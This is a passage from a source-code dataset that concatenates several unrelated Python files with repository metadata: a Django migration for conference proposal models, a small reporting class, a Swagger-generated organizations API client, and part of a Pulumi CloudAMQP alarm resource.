], options={}, bases=(models.Model,), ), migrations.CreateModel( name="ProposalComment", fields=[ ( "id", models.AutoField( verbose_name="ID", serialize=False, auto_created=True, primary_key=True, ), ), ( "created_at", models.DateTimeField(auto_now_add=True, verbose_name="Created At"), ), ( "modified_at", models.DateTimeField( auto_now=True, verbose_name="Last Modified At" ), ), ( "private", models.BooleanField(default=False, verbose_name="Is Private?"), ), ("comment", models.TextField()), ( "deleted", models.BooleanField(default=False, verbose_name="Is Deleted?"), ), ( "commenter", models.ForeignKey( to=settings.AUTH_USER_MODEL, on_delete=models.deletion.CASCADE, ), ), ( "proposal", models.ForeignKey( to="proposals.Proposal", on_delete=models.deletion.CASCADE, ), ), ], options={"abstract": False}, bases=(models.Model,), ), migrations.CreateModel( name="ProposalCommentVote", fields=[ ( "id", models.AutoField( verbose_name="ID", serialize=False, auto_created=True, primary_key=True, ), ), ( "created_at", models.DateTimeField(auto_now_add=True, verbose_name="Created At"), ), ( "modified_at", models.DateTimeField( auto_now=True, verbose_name="Last Modified At" ), ), ("up_vote", models.BooleanField(default=True)), ( "proposal_comment", models.ForeignKey( to="proposals.ProposalComment", on_delete=models.deletion.CASCADE, ), ), ( "voter", models.ForeignKey( to=settings.AUTH_USER_MODEL, on_delete=models.deletion.CASCADE, ), ), ], options={}, bases=(models.Model,), ), migrations.CreateModel( name="ProposalSection", fields=[ ( "id", models.AutoField( verbose_name="ID", serialize=False, auto_created=True, primary_key=True, ), ), ( "created_at", models.DateTimeField(auto_now_add=True, verbose_name="Created At"), ), ( "modified_at", models.DateTimeField( auto_now=True, verbose_name="Last Modified At" ), ), ( "name", models.CharField( max_length=255, verbose_name="Proposal Section Name" ), ), ("description", models.TextField(default="")), ( "active", models.BooleanField(default=True, verbose_name="Is Active?"), ), ( "created_by", models.ForeignKey( related_name="created_proposalsection_set", verbose_name="Created By", blank=True, on_delete=models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, null=True, ), ), ( "modified_by", models.ForeignKey( related_name="updated_proposalsection_set", verbose_name="Modified By", blank=True, on_delete=models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, null=True, ), ), ], options={"abstract": False}, bases=(models.Model,), ), migrations.CreateModel( name="ProposalType", fields=[ ( "id", models.AutoField( verbose_name="ID", serialize=False, auto_created=True, primary_key=True, ), ), ( "created_at", models.DateTimeField(auto_now_add=True, verbose_name="Created At"), ), ( "modified_at", models.DateTimeField( auto_now=True, verbose_name="Last Modified At" ), ), ( "name", models.CharField(max_length=255, verbose_name="Proposal Type Name"), ), ("description", models.TextField(default="")), ( "active", models.BooleanField(default=True, verbose_name="Is Active?"), ), ( "created_by", models.ForeignKey( related_name="created_proposaltype_set", verbose_name="Created By", blank=True, on_delete=models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, null=True, ), ), ( "modified_by", models.ForeignKey( related_name="updated_proposaltype_set", verbose_name="Modified By", blank=True, on_delete=models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, null=True, ), ), ], options={"abstract": False}, bases=(models.Model,), ), migrations.CreateModel( name="ProposalVote", fields=[ ( "id", models.AutoField( verbose_name="ID", serialize=False, auto_created=True, primary_key=True, ), ), ( "created_at", models.DateTimeField(auto_now_add=True, verbose_name="Created At"), ), ( "modified_at", models.DateTimeField( auto_now=True, verbose_name="Last Modified At" ), ), ( "role", models.PositiveSmallIntegerField( default=1, choices=[(1, b"Public"), (2, b"Reviewer")] ), ), ("up_vote", models.BooleanField(default=True)), ( "proposal", models.ForeignKey( to="proposals.Proposal", on_delete=models.deletion.CASCADE, ), ), ( "voter", models.ForeignKey( to=settings.AUTH_USER_MODEL, on_delete=models.deletion.CASCADE, ), ), ], options={}, bases=(models.Model,), ), migrations.AlterUniqueTogether( name="proposalvote", unique_together=set([("proposal", "voter")]), ), migrations.AlterUniqueTogether( name="proposalcommentvote", unique_together=set([("proposal_comment", "voter")]), ), migrations.AddField( model_name="proposal", name="proposal_section", field=models.ForeignKey( verbose_name="Proposal Section", to="proposals.ProposalSection", on_delete=models.deletion.CASCADE, ), preserve_default=True, ), migrations.AddField( model_name="proposal", name="proposal_type", field=models.ForeignKey( verbose_name="Proposal Type", to="proposals.ProposalType", on_delete=models.deletion.CASCADE, ), preserve_default=True, ), migrations.AlterUniqueTogether( name="proposal", unique_together=set([("conference", "slug")]), ), migrations.AddField( model_name="conferenceproposaltype", name="proposal_type", field=models.ForeignKey( verbose_name="Proposal Type", to="proposals.ProposalType", on_delete=models.deletion.CASCADE, ), preserve_default=True, ), migrations.AlterUniqueTogether( name="conferenceproposaltype", unique_together=set([("conference", "proposal_type")]), ), migrations.AddField( model_name="conferenceproposalsection", name="proposal_section", field=models.ForeignKey( verbose_name="Proposal Section", to="proposals.ProposalSection", on_delete=models.deletion.CASCADE, ), preserve_default=True, ), migrations.AlterUniqueTogether( name="conferenceproposalsection", unique_together=set([("conference", "proposal_section")]), ), ]

35.620301

88

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0.044107

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1

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null

0

7

4dd011e1b2b363e6e0b13074ce3ca1a76e154c7f

89

py

Python

pyreporting/reports/report_table_explorer_item.py

LeGITimate2020/reporting

c616a6763fd9fa5c1e288c61d551f585ec5cc463

[ "MIT" ]

3

2018-08-03T17:43:07.000Z

2018-08-06T18:27:53.000Z

pyreporting/reports/report_table_explorer_item.py

LeGITimate2020/reporting

c616a6763fd9fa5c1e288c61d551f585ec5cc463

[ "MIT" ]

null

pyreporting/reports/report_table_explorer_item.py

LeGITimate2020/reporting

c616a6763fd9fa5c1e288c61d551f585ec5cc463

[ "MIT" ]

1

2018-08-11T17:50:32.000Z

from . import ReportTableItem class ReportTableExplorerItem(ReportTableItem): pass

14.833333

47

0.808989

7

89

10.285714

0.857143

0

0.146067

89

5

48

17.8

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0

1

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true

0.333333

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1

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null

0

1

0

1

0

7

12a73698c324a3476301da21c8703b77f7ff4ed0

33,489

py

Python

ce_api/api/organizations_api.py

maiot-io/cengine

3a1946c449e8c5e1d216215df6eeab941eb1640a

[ "Apache-2.0" ]

7

2020-10-13T12:47:32.000Z

2021-03-12T12:00:14.000Z

ce_api/api/organizations_api.py

maiot-io/cengine

3a1946c449e8c5e1d216215df6eeab941eb1640a

[ "Apache-2.0" ]

null

ce_api/api/organizations_api.py

maiot-io/cengine

3a1946c449e8c5e1d216215df6eeab941eb1640a

[ "Apache-2.0" ]

1

2021-01-23T02:19:42.000Z

# coding: utf-8 """ maiot Core Engine API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 0.1.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from ce_api.api_client import ApiClient class OrganizationsApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def create_invite_api_v1_organizations_invite_post(self, body, **kwargs): # noqa: E501 """Create Invite # noqa: E501 Invites user with specified email to organization via email. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_invite_api_v1_organizations_invite_post(body, async_req=True) >>> result = thread.get() :param async_req bool :param InviteCreate body: (required) :return: Invite If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.create_invite_api_v1_organizations_invite_post_with_http_info(body, **kwargs) # noqa: E501 else: (data) = self.create_invite_api_v1_organizations_invite_post_with_http_info(body, **kwargs) # noqa: E501 return data def create_invite_api_v1_organizations_invite_post_with_http_info(self, body, **kwargs): # noqa: E501 """Create Invite # noqa: E501 Invites user with specified email to organization via email. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_invite_api_v1_organizations_invite_post_with_http_info(body, async_req=True) >>> result = thread.get() :param async_req bool :param InviteCreate body: (required) :return: Invite If the method is called asynchronously, returns the request thread. """ all_params = ['body'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_invite_api_v1_organizations_invite_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `create_invite_api_v1_organizations_invite_post`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['OAuth2PasswordBearer'] # noqa: E501 return self.api_client.call_api( '/api/v1/organizations/invite', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Invite', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def create_organization_api_v1_organizations_post(self, body, **kwargs): # noqa: E501 """Create Organization # noqa: E501 Create new organization. Only for admins. Users create orgs via sign up. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_organization_api_v1_organizations_post(body, async_req=True) >>> result = thread.get() :param async_req bool :param OrgIn body: (required) :return: Organization If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.create_organization_api_v1_organizations_post_with_http_info(body, **kwargs) # noqa: E501 else: (data) = self.create_organization_api_v1_organizations_post_with_http_info(body, **kwargs) # noqa: E501 return data def create_organization_api_v1_organizations_post_with_http_info(self, body, **kwargs): # noqa: E501 """Create Organization # noqa: E501 Create new organization. Only for admins. Users create orgs via sign up. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_organization_api_v1_organizations_post_with_http_info(body, async_req=True) >>> result = thread.get() :param async_req bool :param OrgIn body: (required) :return: Organization If the method is called asynchronously, returns the request thread. """ all_params = ['body'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_organization_api_v1_organizations_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `create_organization_api_v1_organizations_post`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['OAuth2PasswordBearer'] # noqa: E501 return self.api_client.call_api( '/api/v1/organizations/', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Organization', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def delete_invite_api_v1_organizations_invite_invite_id_delete(self, invite_id, **kwargs): # noqa: E501 """Delete Invite # noqa: E501 Deletes the invite specified by ID # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_invite_api_v1_organizations_invite_invite_id_delete(invite_id, async_req=True) >>> result = thread.get() :param async_req bool :param str invite_id: (required) :return: bool If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_invite_api_v1_organizations_invite_invite_id_delete_with_http_info(invite_id, **kwargs) # noqa: E501 else: (data) = self.delete_invite_api_v1_organizations_invite_invite_id_delete_with_http_info(invite_id, **kwargs) # noqa: E501 return data def delete_invite_api_v1_organizations_invite_invite_id_delete_with_http_info(self, invite_id, **kwargs): # noqa: E501 """Delete Invite # noqa: E501 Deletes the invite specified by ID # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_invite_api_v1_organizations_invite_invite_id_delete_with_http_info(invite_id, async_req=True) >>> result = thread.get() :param async_req bool :param str invite_id: (required) :return: bool If the method is called asynchronously, returns the request thread. """ all_params = ['invite_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_invite_api_v1_organizations_invite_invite_id_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'invite_id' is set if ('invite_id' not in params or params['invite_id'] is None): raise ValueError("Missing the required parameter `invite_id` when calling `delete_invite_api_v1_organizations_invite_invite_id_delete`") # noqa: E501 collection_formats = {} path_params = {} if 'invite_id' in params: path_params['invite_id'] = params['invite_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['OAuth2PasswordBearer'] # noqa: E501 return self.api_client.call_api( '/api/v1/organizations/invite/{invite_id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='bool', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_invite_by_code_api_v1_organizations_invite_code_get(self, code, **kwargs): # noqa: E501 """Get Invite By Code # noqa: E501 Gets specific invite. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_invite_by_code_api_v1_organizations_invite_code_get(code, async_req=True) >>> result = thread.get() :param async_req bool :param str code: (required) :return: Invite If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_invite_by_code_api_v1_organizations_invite_code_get_with_http_info(code, **kwargs) # noqa: E501 else: (data) = self.get_invite_by_code_api_v1_organizations_invite_code_get_with_http_info(code, **kwargs) # noqa: E501 return data def get_invite_by_code_api_v1_organizations_invite_code_get_with_http_info(self, code, **kwargs): # noqa: E501 """Get Invite By Code # noqa: E501 Gets specific invite. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_invite_by_code_api_v1_organizations_invite_code_get_with_http_info(code, async_req=True) >>> result = thread.get() :param async_req bool :param str code: (required) :return: Invite If the method is called asynchronously, returns the request thread. """ all_params = ['code'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_invite_by_code_api_v1_organizations_invite_code_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'code' is set if ('code' not in params or params['code'] is None): raise ValueError("Missing the required parameter `code` when calling `get_invite_by_code_api_v1_organizations_invite_code_get`") # noqa: E501 collection_formats = {} path_params = {} if 'code' in params: path_params['code'] = params['code'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/organizations/invite/{code}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Invite', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_invites_api_v1_organizations_invite_get(self, **kwargs): # noqa: E501 """Get Invites # noqa: E501 Gets all invites of this users organization. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_invites_api_v1_organizations_invite_get(async_req=True) >>> result = thread.get() :param async_req bool :param str status: :return: list[Invite] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_invites_api_v1_organizations_invite_get_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_invites_api_v1_organizations_invite_get_with_http_info(**kwargs) # noqa: E501 return data def get_invites_api_v1_organizations_invite_get_with_http_info(self, **kwargs): # noqa: E501 """Get Invites # noqa: E501 Gets all invites of this users organization. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_invites_api_v1_organizations_invite_get_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param str status: :return: list[Invite] If the method is called asynchronously, returns the request thread. """ all_params = ['status'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_invites_api_v1_organizations_invite_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'status' in params: query_params.append(('status', params['status'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['OAuth2PasswordBearer'] # noqa: E501 return self.api_client.call_api( '/api/v1/organizations/invite', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Invite]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_loggedin_organization_api_v1_organizations_get(self, **kwargs): # noqa: E501 """Get Loggedin Organization # noqa: E501 Gets the logged in users organization details # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_loggedin_organization_api_v1_organizations_get(async_req=True) >>> result = thread.get() :param async_req bool :return: Organization If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_loggedin_organization_api_v1_organizations_get_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_loggedin_organization_api_v1_organizations_get_with_http_info(**kwargs) # noqa: E501 return data def get_loggedin_organization_api_v1_organizations_get_with_http_info(self, **kwargs): # noqa: E501 """Get Loggedin Organization # noqa: E501 Gets the logged in users organization details # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_loggedin_organization_api_v1_organizations_get_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: Organization If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_loggedin_organization_api_v1_organizations_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['OAuth2PasswordBearer'] # noqa: E501 return self.api_client.call_api( '/api/v1/organizations/', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Organization', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_org_creator_api_v1_organizations_creator_get(self, **kwargs): # noqa: E501 """Get Org Creator # noqa: E501 Gets all invites of this users organization. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_org_creator_api_v1_organizations_creator_get(async_req=True) >>> result = thread.get() :param async_req bool :return: User If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_org_creator_api_v1_organizations_creator_get_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_org_creator_api_v1_organizations_creator_get_with_http_info(**kwargs) # noqa: E501 return data def get_org_creator_api_v1_organizations_creator_get_with_http_info(self, **kwargs): # noqa: E501 """Get Org Creator # noqa: E501 Gets all invites of this users organization. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_org_creator_api_v1_organizations_creator_get_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: User If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_org_creator_api_v1_organizations_creator_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['OAuth2PasswordBearer'] # noqa: E501 return self.api_client.call_api( '/api/v1/organizations/creator', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='User', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_org_users_api_v1_organizations_users_get(self, **kwargs): # noqa: E501 """Get Org Users # noqa: E501 Gets a list of all users in an organization # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_org_users_api_v1_organizations_users_get(async_req=True) >>> result = thread.get() :param async_req bool :return: list[UserInOrganization] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_org_users_api_v1_organizations_users_get_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_org_users_api_v1_organizations_users_get_with_http_info(**kwargs) # noqa: E501 return data def get_org_users_api_v1_organizations_users_get_with_http_info(self, **kwargs): # noqa: E501 """Get Org Users # noqa: E501 Gets a list of all users in an organization # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_org_users_api_v1_organizations_users_get_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: list[UserInOrganization] If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_org_users_api_v1_organizations_users_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['OAuth2PasswordBearer'] # noqa: E501 return self.api_client.call_api( '/api/v1/organizations/users', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[UserInOrganization]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_roles_in_org_api_v1_organizations_roles_get(self, **kwargs): # noqa: E501 """Get Roles In Org # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_roles_in_org_api_v1_organizations_roles_get(async_req=True) >>> result = thread.get() :param async_req bool :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_roles_in_org_api_v1_organizations_roles_get_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_roles_in_org_api_v1_organizations_roles_get_with_http_info(**kwargs) # noqa: E501 return data def get_roles_in_org_api_v1_organizations_roles_get_with_http_info(self, **kwargs): # noqa: E501 """Get Roles In Org # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_roles_in_org_api_v1_organizations_roles_get_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_roles_in_org_api_v1_organizations_roles_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/organizations/roles', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

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12ac0d4607110dc4ee2bf185eaf5c98c95999b44

26,459

py

Python

sdk/python/pulumi_cloudamqp/alarm.py

pulumi/pulumi-cloudamqp

1d411fb0076c257b51a6b133aaedb9292efa2373

[ "ECL-2.0", "Apache-2.0" ]

2

2020-09-23T11:53:33.000Z

2021-12-01T20:56:35.000Z

sdk/python/pulumi_cloudamqp/alarm.py

pulumi/pulumi-cloudamqp

1d411fb0076c257b51a6b133aaedb9292efa2373

[ "ECL-2.0", "Apache-2.0" ]

53

2019-12-09T20:12:27.000Z

2022-03-31T15:21:00.000Z

sdk/python/pulumi_cloudamqp/alarm.py

pulumi/pulumi-cloudamqp

1d411fb0076c257b51a6b133aaedb9292efa2373

[ "ECL-2.0", "Apache-2.0" ]

1

2019-12-11T09:29:16.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities __all__ = ['AlarmArgs', 'Alarm'] @pulumi.input_type class AlarmArgs: def __init__(__self__, *, enabled: pulumi.Input[bool], instance_id: pulumi.Input[int], recipients: pulumi.Input[Sequence[pulumi.Input[int]]], type: pulumi.Input[str], message_type: Optional[pulumi.Input[str]] = None, queue_regex: Optional[pulumi.Input[str]] = None, time_threshold: Optional[pulumi.Input[int]] = None, value_threshold: Optional[pulumi.Input[int]] = None, vhost_regex: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a Alarm resource. :param pulumi.Input[bool] enabled: Enable or disable the alarm to trigger. :param pulumi.Input[int] instance_id: The CloudAMQP instance ID. :param pulumi.Input[Sequence[pulumi.Input[int]]] recipients: Identifier for recipient to be notified. Leave empty to notify all recipients. :param pulumi.Input[str] type: The alarm type, see valid options below. :param pulumi.Input[str] message_type: Message type `(total, unacked, ready)` used by queue alarm type. :param pulumi.Input[str] queue_regex: Regex for which queue to check. :param pulumi.Input[int] time_threshold: The time interval (in seconds) the `value_threshold` should be active before triggering an alarm. :param pulumi.Input[int] value_threshold: The value to trigger the alarm for. :param pulumi.Input[str] vhost_regex: Regex for which vhost to check """ pulumi.set(__self__, "enabled", enabled) pulumi.set(__self__, "instance_id", instance_id) pulumi.set(__self__, "recipients", recipients) pulumi.set(__self__, "type", type) if message_type is not None: pulumi.set(__self__, "message_type", message_type) if queue_regex is not None: pulumi.set(__self__, "queue_regex", queue_regex) if time_threshold is not None: pulumi.set(__self__, "time_threshold", time_threshold) if value_threshold is not None: pulumi.set(__self__, "value_threshold", value_threshold) if vhost_regex is not None: pulumi.set(__self__, "vhost_regex", vhost_regex) @property @pulumi.getter def enabled(self) -> pulumi.Input[bool]: """ Enable or disable the alarm to trigger. """ return pulumi.get(self, "enabled") @enabled.setter def enabled(self, value: pulumi.Input[bool]): pulumi.set(self, "enabled", value) @property @pulumi.getter(name="instanceId") def instance_id(self) -> pulumi.Input[int]: """ The CloudAMQP instance ID. """ return pulumi.get(self, "instance_id") @instance_id.setter def instance_id(self, value: pulumi.Input[int]): pulumi.set(self, "instance_id", value) @property @pulumi.getter def recipients(self) -> pulumi.Input[Sequence[pulumi.Input[int]]]: """ Identifier for recipient to be notified. Leave empty to notify all recipients. """ return pulumi.get(self, "recipients") @recipients.setter def recipients(self, value: pulumi.Input[Sequence[pulumi.Input[int]]]): pulumi.set(self, "recipients", value) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ The alarm type, see valid options below. """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @property 